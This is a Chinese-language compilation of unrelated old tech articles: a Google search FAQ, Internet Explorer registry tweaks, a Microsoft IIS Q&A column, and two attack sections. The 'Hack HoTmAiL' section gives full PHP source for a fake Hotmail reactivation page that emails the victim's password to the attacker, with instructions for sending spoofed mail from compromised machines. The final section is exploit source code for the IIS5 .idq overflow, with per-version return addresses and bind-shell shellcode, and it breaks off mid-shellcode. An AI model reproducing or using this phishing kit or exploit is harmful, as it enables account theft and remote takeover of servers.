A：点击搜索栏右边的“使用偏好”（Preferences），选择“界面语言”（Interface Language）中你期望的语言，点击最下面的“设定使用偏好”（Save Preferences）按钮。需要提醒的是，GOOGLE用cookie记录这个偏好，所以如果你把浏览器的cookie功能关掉，就无法进行设定。

Q：如何设定每页搜索结果显示数量？
A：同上，进入使用偏好，在该页的“查看结果”（Number of Results）选择显示结果数，数目越大，显示结果需要的时间越长，默认是10项。

Q：搜索到的链接无法打开怎么办？
A：链接无法打开的原因很多，比如网站当机，或者页面已经死掉等等，可以点击GOOGLE的“网页快照”查看在GOOGLE服务器上的网页缓存。不过，如果该页面是被当地ISP过滤的话，服务器缓存还是无法打开。唯一的办法在于利用代理服务器，然后在URL栏内输入链接的IP地址。

Q：打开搜索结果的链接，可是该页面太大，很难找到一下子找到目的资料怎么办？
A：直接打开“网页快照”，GOOGLE会把关键词用不同颜色标记出来，很容易找到。

Q：点击每个查询结果的时候，我想单独弹出窗口，这该怎么办？
A：进入“使用偏好”界面，注意底部有个“结果视窗”项目，选中“开启新视窗以显示查询结果”复选框然后存储设置就可以了。

17，后记

这个小文章的3.0版本终于更新完了，我终于可以吁口气了。写这个搜索普及文章的初衷和动力在于我以及我的朋友因为使用Internet搜索引擎而使得工作和学习变得更加轻松有趣，我想应该有更多的人来分享这种愉悦。需要提及的是，这个小文章的继续和更新，多亏了新浪网友“搜索引擎9238”的大力帮助和鼓励。如果没有他的热忱意见，我想此文会逊色的多了。其他提供过帮助和意见的网友就一并谢过。希望你们能继续给出意见


Hack HoTmAiL

你需要做的就两件事：

-- 一个可以发送匿名邮件的服务器

-- 一个支持php/mysql的空间

方法： 建立一个网页，用下面的代码，命名为reactivateaccount.php

在代码中把“你想得到的帐户@hotmail.com”替换为你想得到的实际hotmail帐户地址，

如：mike@hotmail.com

把“你的hotmail邮件@hotmail.com”替换为你的hotmail邮件地址

<HTML>
<HEAD>
<TITLE>Reactivate your hotmail account - 你想得到的帐户@hotmail.com</TITLE>
</HEAD>

<BODY topmargin=0>

<?

if ($action == "Reactivate")
{

mail("你的hotmail邮件@hotmail.com", $username, $password, "From:
thepassarrived@helloworld.com");
echo "Your hotmail account has been reactivated<BR>";

}

?>

<tr>
<td colspan=2>
<table cellpadding=0 cellspacing=0 border=0 width="100%"><tr><td>
<a href="http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=EN"
target="_top"><img src="http://64.4.8.24/logo_msnhmr_468x60.gif"
    width=468
height=60 border=0 alt=""></a>
</td>
<td align="CENTER" nowrap>
<img src="http://64.4.8.24/logo_passport_140x44.gif" width=140
    height=44
border=0 alt="Find Out More About Passport"><br>
<a
href="http://nexusrdr.passport.com/redir.asp?_lang=EN&pm=id%3d2%26fs%3d1%26cb%3d_lang%253dEN%26ct%3d1021925844&attrib=Help"
target="_top"><font class="f" size=2>Help</font></a><br>
</td></tr></table>
</td>
</tr><tr>
<td style="padding:3px;" bgcolor="#93BEE2"><font
    class="Wf"><b>Please
reactivate your hotmail.com account:</b></font></td>
<td valign="top"></td>
</tr>
<tr><td height="6"></td></tr>
<tr valign="top">
<td><font class="s">

</font>
</td>
<td rowspan=4><font class="s">

</font>
</font>
</td>
</tr>

<tr>
<td>
<font class="f" size=2><b><你想得到的帐户@hotmail.com></b></font>
</td>
</tr>
<form name="mailbomber" method="post" action="<?php echo $PHP_SELF ?>">

<BR>

<B>Username:</B>
<td>
<input type="text" name="username" value="你想得到的帐户@hotmail.com">
</td>
</tr>
<tr> <BR>
<B>Password:</B>
<td>
<input type="text" name="password">
</td>
</tr>

<input type="submit" name="action" value="Reactivate">

</table>
</form><BR><BR>
<B>Your password will not be typed as an encryption code (without the
"****") </B><BR>
<td colspan="2"><font class="f" size=2><b><a
href="http://lc3.law13.hotmail.passport.com/cgi-bin/pplogout?cu=1&id=2&fs=1&cb=_lang%3dEN&ct=1021925844&ru=http%3a%2f%2flc3%2elaw13%2ehotmail
%2epassport%2ecom%2fcgi%2dbin%2flogin%3f_lang%3dEN%26id%3d2%26fs%3d1%26cb%3d_lang%253dEN
%26ct%3d1021925844&curmbox=F000000001&a=18e5af1b8996fe2d0333a5b4bada805c&chguser=yes&SwitchUser=1"
target="_top">Change
User</a></b></font></td>
<font class="s">? 2002 Microsoft Corporation. All rights
reserved.</font> <a href="http://g.msn.com/1HM305301/18" target="_top"><font
class="s">TERMS OF USE</font></a>
<a href="http://g.msn.com/1HM305301/17" target="_top"><font
class="s">TRUSTe Approved Privacy Statement</font></a>
</CENTER>
</BODY>
</HTML>

把以上代码保存为reactivateaccount.php后，上传到你的支持php/mysql的空间。然后给那个帐户的拥有者（你想得到帐户的人）发一个mail,
这个mail地址是上面提到的你想得到的hotmail的邮件地址。邮件的内容是一个连接，就是你上传的reactivateaccount.php文件地址，用匿名
身份发一个邮件，发送者的姓名最好是: "Hotmail Member Services" ,发送地址为staff@hotmail.com。好了，你现在做的就是等待一封来自
thepassarrived@helloworld.com的邮件，里面有密码。

have fun ^_^。

提示：
1 匿名邮件的smtp可以通过肉鸡获得，可以用ghost mail 或 anonimous mail 等软件发送匿名邮件。

2 php/mysql空间可以到www.lycos.com申请。


IE修改全功略

1、改变IE窗口的动感效果
如果我们希望在打开或者关闭IE窗口时，被打开的窗口有动感效果，可以按照下面的步骤来修改注册表：首先打开注册表编辑器操作窗口，在该窗口中用鼠标依次单击键值HKEY_ CURRENT_USER / Control Panel/ desktop / WindowMetrics键值，并在右边的窗口中新建串值"Minanimat"与"Maxanimat"并设值为"0"，为"1"，这样在IE窗口最大最小化切换时有递变的效果。

2、更改IE浏览器中的安全口令
    我们可以在 IE浏览器的“ Internet 选项”对话框的“内容”选项页的“分级审查”框中设置口令，这样，在显示有 ActiveX 的页面时，总会出现“分级审查不允许查看”的提示信息，然后弹出口令对话框，要求您输入监护人口令。如果口令不对，则将停止浏览。但是，如果此口令遗忘了，则无法浏览这些特征的页面。在口令遗忘后，重装 IE浏览器也无法去掉安全口令。这时只有求助于注册表了：打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies 分支，在 Policies 子键下选择“ Ratings ”子键，按 Del 键将其删除，由于 Ratings 子键下的 Key 键值数据就是经过加密后的口令，删除了这一项， IE浏览器自然就认为我们没有设置口令了。

3、更改IE的默认下载目录
    大家如果经常用IE在网上下载文件就会知道，浏览器程序默认地会将下载内容存放到"C:\WINDOWS\Desktop"目录中，也就是放到Windows桌面上，时间一长就会将桌面搞得乱七八糟！有的用户为了保持桌面的整洁，同时希望能够有效地管理下载下来的文件，他们需要更改IE的默认下载目录，将其改为某个专门的下载文件夹，例如"C:\download"目录中。为此，我们只需启动Windows 98的注册表编辑器，并在编辑器窗口中用鼠标依次展开HKEY_CURRENT_USER ＼Software＼Microsoft＼Internet Explorer键值，此时我们就可以在Internet Explorer键值下发现一个名为"DownLoad Directory"的字符串值，其默认值为"C:\WINDOWS\Desktop"。它就是用于定义IE默认文件下载路径的，我们只需对其进行适当修改，例如将其改为"C:\download"，此后再使用IE直接下载文件时，系统就会将文件直接保存到"C:\download"目录中了。

4、修改IE5.0的搜索引擎
    在注册表中依次展开“HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search”，在右侧窗口中把“CustomizeSearch”、“SearchAssistant”改为我们定义的搜索引擎，如http://www.chinayancheng.net/，以后当我们每次点IE5.0的搜索引擎时，即可自动调出我们定义的搜索引擎，如上面设定的中国盐城。

5、删除IE页面下的下划线
    当我们打开一个IE页面时，会发现在超级链接下方有一划线，这主要是让用户更加容易分清超级链接与普通文本的区别。但有时我们为了达到某个版面效果，不希望看到在这些超级链接下有划线，而希望取消它们，这也是非常容易办到的！事实上，IE同时为下划线提供了三种不同的显示状态，它们分别是"始终显示下划线"、"始终不显示下划线"和"将鼠标放到超级链接上面的时候显示下划线"，广大用户完全可根据自己的需要对其加以调整。具体来说，我们若拟对IE是否显示超级链接的下划线进行设置，则应启动Windows 98的注册表编辑器并依次展开HKEY_CURRENT_USER＼Software＼Microsoft＼Internet Explorer＼Main分支，然后就可以看到一个名为"Ancher Underline"的字符串值，它就是用于设置是否显示超级链接的下划线的。当其值为NO时表示始终不显示下划线、为YES时表示始终显示下划线、为HOVER则表示通常不显示下划线，而将鼠标放到相应超级链接下面之后显示下划线，广大用户只需根据自己的需要加以更改即可。

    需要注意的是，采用上面的方法修改的是系统默认值，也就是说只有当我们浏览的网站本身没有设置是否显示下划线时，系统才会按上述设置进行显示，若用户浏览的网站自己已经设置了是否显示下划线，IE将会按照相应网站自己的设置进行显示。

6、定制IE浏览器的地址
    用过IE的人都遇到过“取消操作”提示，还有“Web页不可脱机使用”，“警告：网页已经过期”等情况，但是我们有没有注意到出现提示页时地址栏中显示的是什么，URL为“about:xxxxxxx”。about是除了“http”、“ftp”、“mailto”、“gopher”外的特殊协议，利用它可以使用别名调阅特定的网页，比如IE的空白页，则的URL栏中打入about:blank即可，blank即为空白页的别名。

    利用这可通过创建类似的别名，指向我们指定的网页地址，在注册表中依次展开“HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\AboutURLs”，在右侧窗口中单击鼠标右键，从弹出的快捷菜单中，选择“新建”、“串值”，然后将“新值#1”更名为我们要给指向的网页（网址）取的名字，右击该名字，再将其值设置为我们想要指向的网址，注意不能省了“http://” 。

  我们也可以用此法给硬盘上常用网页取个别名，填上路径即可方便打开了。

7、让IE显示超级链接的完整地址
    我们知道，在使用IE浏览某个网页时，只需将鼠标放到某个超级链接的下面，系统就会在状态栏中显示出该超级链接的地址，不过系统默认显示的是相对地址（跟我们在DOS中使用的相对路径差不多），这在某些情况下可能并不能满足广大用户的需要。别着急，我们只需启动Windows 98的注册表编辑器，然后在注册表编辑器窗口中用鼠标依次展开HKEY_CURRENT_USER＼ Software＼Microsoft＼ Internet Explorer键值，此时我们会在右边的窗口中发现一个名为"Show_FullURL"的Dword值，它就是用于设置是否在IE状态栏上显示超级链接地址的，我们只需将其由0改为1，IE就会在状态栏上显示出相应超级链接的绝对地址，从而满足了广大用户的需要。

8、增加IE的自动识别功能
    经常上网的朋友知道，我们要访问形如www.aaa.com这样的网站时，只要在地址框中直接键入aaa，IE就会自动加上.com的后缀进行访问，省去了很多麻烦。但是如果我们想访问形如www.aaa.com.cn这样的网站就没那么方便了，因为IE未包含.cn后缀的自动连接功能。那么我们能不能对IE的自动匹配功能进行扩充，使之能自动匹配".gov"、".net"、".com.cn"之类的后缀呢？回答是肯定的，我们只需启动Windows 98的注册表编辑器，并依次展开HKEY_LOCAL_MACHINE＼SOFTWARE＼Microsoft＼Internet Explorer＼Main＼UrlTemplate分支，然后就可以在UrlTemplate分支下看到6个分别名为"1"、"2"……"6"字符串值，其键值分别为"www.%s.com"、"%s.com"、"www.%s.edu"、"%s.edu"……等，它们就是用于指定IE自动匹配范围的。广大用户若拟为IE增加新的自动匹配功能，只需在UrlTemplate分支下再新建两个字符串（如"7"和"8"），并将其值分别设置为"www.%s.com.cn"和"%s.com.cn"，然后就能让IE对".com.cn"后缀进行自动识别。当然我们还可采用此方法增加IE对".gov"、".net"等后缀的自动识别。

9、防止他人获取对Web页面的访问信息
    大家都知道，Windows 98具有历史记录功能，它能将用户从事过的各种操作（如查找的内容、运行的程序、浏览的网站）一一记录下来，而后我们再次从是相同操作时就能直接从历史记录中进行检索，从而方便了广大用户的使用。不过任何事情都有两个方面，历史记录尽管可以方便用户的使用，但它也带来了泄密的可能，有些不法用户就会利用这些记录来获取我们已经访问过的Web页面信息。为保证绝对安全，我们就需要采取适当的方法对这些历史记录进行清除。对于我们使用IE上网所留下的历史记录而言，我们该如何进行清除呢？很简单，启动Windows 98的注册表编辑器并展开HKEY_CURRENT_USER＼Software＼Microsoft＼Inertnet Explorer＼TypedURLs键值，该键值就是专门用于保存IE历史记录的，它一共有25条记录，保存了用户最近浏览过的25个网站，我们根据需要对有关记录进行选择性删除即可。

10、为IE的工具栏添加背景
    为了愉悦网友的视线，IE5提供了对系统工具栏中的背景图片进行更换的功能，我们可以利用该功能将自己喜爱的图片设置为IE工具栏的背景，从而使系统变得"个性"十足！不过令人遗憾的时，尽管IE5提供了更换背景图片的功能，但它并没有将该功能公开，我们无法直接对工具栏的背景进行替换，而只能通过对注册表数据库进行修改才能达到目的，具体操作步骤为：首先准备一张适合作为背景的BMP格式文件，并且该图象的颜色不能太深，否则可能影响工具栏的显示效果；接着打开注册表编辑器操作窗口，并在该窗口中依次展开HKEY_Current_User＼ Software＼Microsoft＼Internet Explorer＼Toolbar键值；随后在Explorer主键下新建一个名为"BackBitmap"的字符串值，并将其值修改为事先准备的BMP图片的完整路径及文件名；这样我们就完成了为IE的工具栏添加背景图片的步骤，重新启动计算机之后，其程序窗口的菜单栏及工具栏中就会出现用户选定的图象。

11、更改Outlook Express 信箱存放路径
    如果我们想修改Outlook Express 信箱存放路径，可以在HKEY_CURRENT_USER\Identities\{4C44D002-7BCF-11D3-9957-AB53DA238B0C}\Software\Microsoft\Outlook Express\5.0下修改“Store Root”字符串值为要修改的路径。

12、让 IE 使用多线程下载

1. Registry内到
HKEY_current_user\Software\Microsoft\Windows\CurrentVersion\Internet Settings, 加入2个DWORD机码。 首先加入名为MaxConnectionsPerServer的DWORD机码值, 这一项的作用是决定最大同步下载的连线数目，一般来说，5-8个连线数目足够了.
2. 另外，对于HTTP 1.0 Server,可以加入名为MaxConnectionsPer1_0Server的DWORD机码值, 其预设值也是改为最大同步下载的数目.


IIS 有问必答

撰稿人：Brett Hill

用 IIS 设置并路由子域
问：在 W2K 服务器上，怎样用 IIS 5.0 创建子域？如果我让 BerAult.Com 在根 web 站点，并希望让 Technical.Bertault.com 带我到一个新文件夹或者子站点，应如何设置它？我所能找到的全部信息都是关于如何将 Berault.com/technical 配置成 URL 的。

答：您的 web 站点体系结构及其与 DNS 的集成对于您的 IIS 安装来说当然是一个很关键的部分。正如您说的那样，为 Berault.com/technical 配置一个站点很容易，因为它实际上就是位于 Beralut.com 站点内的一个文件夹或虚拟目录。

而将 technical.bertault.com 配置为一个“子站点”则是另外一回事，这一点您已知道了。按照设计，URL 的构成是这样的：http://domainname.com 应是 http://hostname.domainname.com 的父级域。这是 DNS 的设计使然，DNS 要求 URL 中使用这种名称空间结构。不过，就一个 web 服务器而言，它们是两个完全不同的概念。IIS 并不认为它们之间有什么关系。

因此，您应将 technical.berault.com 作为一个完全不同的 web 站点来看待。在 DNS 中，您可以为 technical.berault.com 添加一条 A 记录，此记录给 technical.berault.com 分配一个与 berault.com 相同的 IP 地址。然后，您可以创建一个 ASP 页，用它检查传入的 URL 并相应地路由请求。如果您想让“子域”路由到您主 web 站点内的一个文件夹，这一点将非常有用。或者，您也可以创建一个全新的 web 站点，用一个新的 IP 地址（它必须在 DNS 中配置）或用 IIS 内的主机标题来标识它。

您可以为您的“子域”创建一个新的 web 站点，使其主文件夹作为其父级域内的一个位置。虽然这样做是可行的，但我建议您不要这样做，因为这样您会发现同一内容将有两个管理界面，而且没有办法使它们保持同步。这样会导致对配置和安全问题进行故障诊断时出现困难。

屏蔽 HTTP 标头（内容－位置）中的 IP 地址
问：在对 IIS 5 服务器进行端口扫描时，它返回以下信息：

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://192.168.0.44/Default.htm
Date: Tue, 19 Feb 2002 20:19:20 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 19 Feb 2002 20:04:10 GMT
Content-Length: 16

问题是，Content-Location（内容－位置）标头暴露了 web 服务器的内部 IP 地址。这就为黑客大开了方便之门。是否有办法让 IIS 在扫描过程中不返回服务器的 IP 地址？

答：有，您可以配置 IIS 4 和 IIS 5，使 Content-Location 字段返回 URL 而非 IP 地址，如下所示：

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://homer.test.bh.tm/Default.htm
Date: Tue, 19 Feb 2002 20:27:20 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 19 Feb 2002 20:04:10 GMT
Content-Length: 16

要做到这一点，您必须将 UseHostName 这一值添加到 Metabase 中的 W3SVC 键上。最简单的办法是使用默认情况下安装在 Inetpub\Adminscripts 中的 ADSUTIL 程序，如下所示：

adsutil set w3svc/UseHostName True

然后，您必须重新启动 web 服务。有关更多信息，请参阅 Microsoft 知识库文章 Q218180。

更改 CGI 脚本超时时间
问：我们每天都要运行一个 CGI 脚本。开始时它运行一会儿，接着我们就会收到一条消息说“超过了 CGI 的时间限制”。CGI 的时间限制是多长，是否有办法改变它？

答：IIS 确实有一个与 CGI 进程关联的超时限制，默认设置为 300 秒（5 分钟）。此设置可以在用户界面上更改。此设置只在 WWW 服务的 Master 属性中可以看到，所以不易找到它。打开“IIS 管理单元”，右键单击您的服务器并选择“属性”。在选定 WWW Service Master Properties（WWW 服务主属性）后，单击 Edit（编辑）。单击 Home Directory（主目录）选项卡，然后依次单击 Configuration（配置）选项卡、Process Options（进程选项）选项卡，如图 1 所示。在这里可以看到 CGI 脚本超时设置。

如果您的浏览器不支持内嵌框，请单击此处在单独的页中查看。

图 1 Application Configuration（应用程序配置）中的 Process（进程选项）选项卡

从 IIS Lockdown 工具中提取 URLScan
问：我们希望在服务器上安装 URLscan，但又不想运行 IISLockdown 工具。以前，Microsoft 是分别提供这些工具的，而现在它们都在同一个安装中。怎样才能既安装 URLScan 又不运行 IISLockdown 呢？

答：您刚才说过，Microsoft 以前是分开发行 IIS Lockdown 工具和 URLScan 的。IIS Lockdown 工具的 2.1 版在更新之后包含了 URLScan 2.0。在绝大多数情况下，IIS Lockdown 向导应在 IIS 服务器上运行。这样将执行若干个重要步骤以加强您服务器的安全，并将配置和安装 URLScan ISAPI 筛选器。

可以从 IIS Lockdown 安装包中提取 URLScan 组件，并在不运行 IIS Lockdown 的情况下安装它。这将为您提供 URLScan 的 2.0 版本，而不是它的 1.0 版；在本文脱稿时，1.0 版仍可以作为一个单独的可下载软件从 Microsoft 的下载页和通过许多 Microsoft 知识库文章来下载。

如想从 IISLockdown 2.1 中提取 URLScan，请首先下载 IISLockdown 2.1。然后在该工具的位置打开一个命令提示窗口并键入以下命令：

iislockd.exe /q /c /t:c:\lockdown_files

此命令将从安装包中提取这些文件。然后，您就可以将 URLScan.dll 安装为一个 WWW Master 属性级别的 ISAPI 筛选器。确保存放 URLScan.ini 文件的位置与存放 URLScan.dll 文件的位置相同。

您很可能需要为您的服务器手动配置 URLScan.ini 文件。我们建议，只有经验丰富的管理员才可以编辑 URLscan.ini 文件。请阅读从 IIS Lockdown 实用工具中提取的 URLScan.doc 文件中的使用说明。运行 IISLockdown 工具向导来安装 URLScan 的好处之一是，它为您配置了 URLScan.ini 文件。

使用 URL 中的参数重定向请求
问：是否有办法使用 URL 中的参数作为重定向的一部分，而不使用 ASP？换言之，当人们访问我们的站点 www.oursite.com?A=1 时，我们想将此请求转发到 www.theirsite.com?A=1 站点。

答：在 web 站点、目录、虚拟目录或文件的属性中，您可以将文件的位置指定为“本地”、在“另一系统上”（带一个 UNC 路径名），或者将请求重定向。如果您选择重定向请求，您可能要用到鲜为人知但功能十分强大的重定向变量。就您的情况而言，您需要在 Redirect To（重定向至）文本框中输入 http://www.theirsite.com$P。$Q 替换变量将全部问号及其后的参数附加到重定向请求后。

还有许多其他的重定向变量使您能够不用编写代码就可以执行替换和其他操作。您可以在 IIS 联机帮助文件中的 Redirect Reference（重定向参考）部分找到更多有关重定向参数方面的信息。

将您的问题提交给 IIS 有问必答。挑选出的问题会连同答案一起刊登在下一期的 IIS 有问必答 专栏中。

我们代表 Microsoft Corporation 衷心希望本文中的信息能对您有所帮助。但是应由您自己承担使用本文中信息而带来的风险。本文中的所有信息都“按原样”提供，对于其准确性、完整性、特殊用途的适用性、所有权和不侵权原则，并没有任何明示或暗示的保证；对于本文提及的任何第三方产品和信息，Microsoft Corporation 都未参与创作，也不向您推荐、支持或作出任何保证。对使用该信息而造成的任何损失，不管是直接的、间接的、特别的，还是偶然的或必然的，即使已经警告过可能会有这种损失，Microsoft Corporation 也将不承担任何责任。


IIS5_IDQ命令行溢出程序源代码

cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h（这4个文件不提供...因为，他们实现的只是WSAStart和socket的功能，你要成功编译本程序，必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件，编译的时候，不必编译，只是为了中间产生shellcode数据.它实现了溢出后，程序的处理:创建一个进程，并且绑定一个端口。这个还可以用于其他的windows溢出.

文件1:iisidqoverflow.cpp (主文件)

#include <afxwin.h>
#include "snakesocket.h"
#include "wsastart.h"
#include "SkShellCodeFunc.h"

//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct
    *pConnectStruct, LPCTSTR lpszBindCmd);

//宣示帮助.
void ShowHelp()
{
int i;

printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口
    <输入命令1>\r\n");
printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");
printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");
printf("\r\n 如果为1,那么,将输入新的命令.");

printf("\r\n\r\n支持的操作系统 类型: ----\r\n");

for( i=0; i 0){
send( msocket, szBuff, iLen, 0);
}

return (iLen>0)?true:false;
}

int main(int argc, char *argv[])
{
CWSAStart wsaStart;
CSnakeSocket snakeSocket;
WORD wPort;
DWORD dwIP;

if( argc > 1){
if( stricmp( argv[1], "GetAddr") == 0){
char szTemp[12048];
GetNecesProcAddr(szTemp, sizeof(szTemp) );

printf("%s\r\n",szTemp);

OSVERSIONINFO osInfo;

osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &osInfo);
printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n",
osInfo.dwMajorVersion, osInfo.dwMinorVersion,
osInfo.dwBuildNumber, osInfo.dwPlatformId,
osInfo.szCSDVersion);
return 0;
}
}
if( argc < 5){
ShowHelp();
return 0;
}
wsaStart.StartUP();

SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
if( SystemType >= MAX_SYSTEM_TYPE_NUM){
printf("操作系统类型 不正确.\r\n");
ShowHelp();
return 0;
}
dwIP = snakeSocket.GetHostAddr( argv[2]);
if( dwIP == 0){
printf("输入地址不对.\r\n");
return 0;
}

Sk_ConnectType connectType;
ConnectStruct connectStruct;
char szCommand[129]="cmd.exe /c dir c:\\";
BOOL bInputCommand=false;

connectType = (Sk_ConnectType)atoi(argv[4]);
connectStruct.byConnectType = connectType;
switch(connectType){
case LISTEN_ON_PORT:
connectStruct.wListenPort = atoi(argv[5]);
if( argc >= 7){
bInputCommand = true;
}
break;
case CONNECT_TO_HOST:
if( argc < 6){
printf("参数不足够.\r\n");
return 0;
}
connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
connectStruct.wConnectPort = atoi(argv[6]);
if( argc >= 8){
bInputCommand = true;
}
break;
default:
printf("溢出类型不正确.\r\n");
return 0;
}

if( bInputCommand){
printf("\r\n请输入绑定的命令:");
scanf( "%s",szCommand);
}

snakeSocket.CreateSocket();
wPort = atoi(argv[3]);

if( !snakeSocket.connect( argv[2], wPort)){
printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);
return 0;
}
else
printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);

BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

if( bValue){
printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);
printf(" 现在，如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!",
    szCommand);
}
else{
printf( "发送失败, 对方系统类型不支持\r\n");
}

snakeSocket.CloseSocket();
wsaStart.CleanUP();

return 0;
}

文件2. SkShellCodeFunc.cpp (发送shellcode的文件)

//SkShellCodeFunc.cpp
////////////////////////////////////////////////////////////////////////////////
// shellcode 函数
////////////////////////////////////////////////////////////////////////////////
// start by snake. 2001/7/11
////////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include "SkShellCodeFunc.h"

//搜索JUMP_EBX的地址
WORD Search_Jump_Ebx_Code(DWORD *dwArray, WORD wMaxCount);

static const char szSystemName[MAX_SYSTEM_TYPE_NUM+1][60]=
{
"IIS5中文Win2k Sp0",
"IIS5中文Win2k Sp1",
"IIS5中文Win2k Sp2",

"IIS5 English Win2k Sp0",
"IIS5 English Win2k Sp1",
"--IIS5 English Win2k Sp2",

"IIS5 Japanese Win2k Sp0",
"IIS5 Japanese Win2k Sp1",
"--IIS5 Japanese Win2k Sp2",

"IIS5 Mexico Win2k",
"--IIS5 Mexico Win2k sp1",
"--IIS5 Mexico Win2k sp2",

"Unknown..",
};

//取得一个系统的名字.
LPCTSTR GetSystemName( SYSTEM_TYPE type)
{
if( type > MAX_SYSTEM_TYPE_NUM) type = MAX_SYSTEM_TYPE_NUM;
return szSystemName[type];
}

typedef struct _Call_Func_Addr{
DWORD dwGetModuleHandle;
DWORD dwGetProcAddress;
DWORD dwRetJmpEbxAddr;
}Call_Func_Addr;

//2个函数的地址(不通的系统有不通的地址)
static const Call_Func_Addr AllSystemFuncAddr[MAX_SYSTEM_TYPE_NUM]=
{
{ 0x77e756db, 0x77e7564b, 0x77e4ac97}, //IIS5_WIN2K_CHINESE_SP0
{ 0x77e6380e, 0x77e67031, 0x77E4BF17}, //IIS5_WIN2K_CHINESE_SP1
{ 0x77e66c42, 0x77e69ac1, 0x77e4ac97}, //IIS5_WIN2K_CHINESE_SP2

{ 0x77E956DB, 0x77E9564B, 0x77E6F533}, //IIS5_WIN2K_ENGLISH_SP0
{ 0x77E8380E, 0x77E87031, 0x77E6E52B}, //IIS5_WIN2K_ENGLISH_SP1
{ 0, 0}, //IIS5_WIN2K_ENGLISH_SP2

{ 0x77E656DB, 0x77E6564B, 0x77E3AF17}, //IIS5_WIN2K_JAPANESE_SP0,
{ 0x77E5380E, 0x77E57031, 0x77E3BCAF}, //IIS5_WIN2K_JAPANESE_SP1,
{ 0, 0}, //IIS5_WIN2K_JAPANESE_SP2,

{ 0x77E956DB, 0x77E9564B, 0x77E596D2 },//IIS_WIN2K_MEXICO_SP0,
{ 0, 0, 0 },//IIS_WIN2K_MEXICO_SP0,
{ 0, 0, 0 },//IIS_WIN2K_MEXICO_SP0,
};

//下面的#define 代码 的分析，是从isno的文章里面copy到的，thanks
    isno.
#define IIS5_IDQ_EXCEPTION_OFFSET 234 /* exception handler offset */
static unsigned char forwardjump[]= "%u08eb";
/*这是覆盖异常结构的jmp 08h，用来跳到后面寻址shellcode的那段代码*/

static unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去，我不一句句的解释了，如果有兴趣可以自己看，
注意每两个字节都是反的，%uC033在转换后变成了\x33\xC0。
*/

//下面的数据,可以绑定shell到一个端口,并且监听.
char szSnakeBindShellCode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x40\xC1\xE0\x0B\x2B\xE0\xEB\x03\x90\xEB\x4E\xE8\xF9\xFF\xFF\xFF\x55\x8B\xEC\x57\x51\x50\x52\x8B\x7D\x08\x8B\x4D\x0C\x8B\x45\x10\x8B\x55\x14\xF2\xAE\x67\xE3\x06\x4F\x88\x17\x41\xEB\xF5\x5A\x58\x59\x5F\x5D\xC3\x53\x51\x52\x33\xD2\x50\x5B\xC1\xEB\x10\x50\x59\x80\xFF\x01\x74\x02\xFE\xCB\x8A\xC3"
"\x85\xD2\x75\x08\xC1\xE0\x08\x51\x5B\x42\xEB\xEB\x5A\x59\x5B\xC3\xEB\x4F\x55\x8B\xEC\x56\x57\x52\x51\x53\x50\x8B\x7D\x08\x8B\x75\x0C\x33\xDB\x33\xC9\xB1\x80\x03\xF1\x8A\x0E\x46\x51\x8A\x1E\x46\x56\x8B\x45\x10\xFF\xD0\x03\xF3\x33\xC9\x8A\x0E\x46\x51\x8A\x1E\x46\x50\x56\x56\x50\x8B\x4D\x14\xFF\xD1\x89\x07\x83\xC7"
"\x04\x5E\x58\x03\xF3\x59\xE2\xE7\x59\xE2\xD3\x58\x5B\x59\x5A\x5F\x5E\x5D\xC3\xEB\x7C\x55\x8B\xEC\x33\xC0\x66\xB8\xF0\x03\x2B\xE0\x56\x57\x52\x51\x53\x8B\x75\x08\x8D\xBD\xC0\xFC\xFF\xFF\x33\xC0\xB0\x02\x57\x50\x8B\x46\x54\xFF\xD0\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\x38\xFF\xD0\x8B\x55\x0C\x8D\x1A\x8A\x0B\x50\x8D"
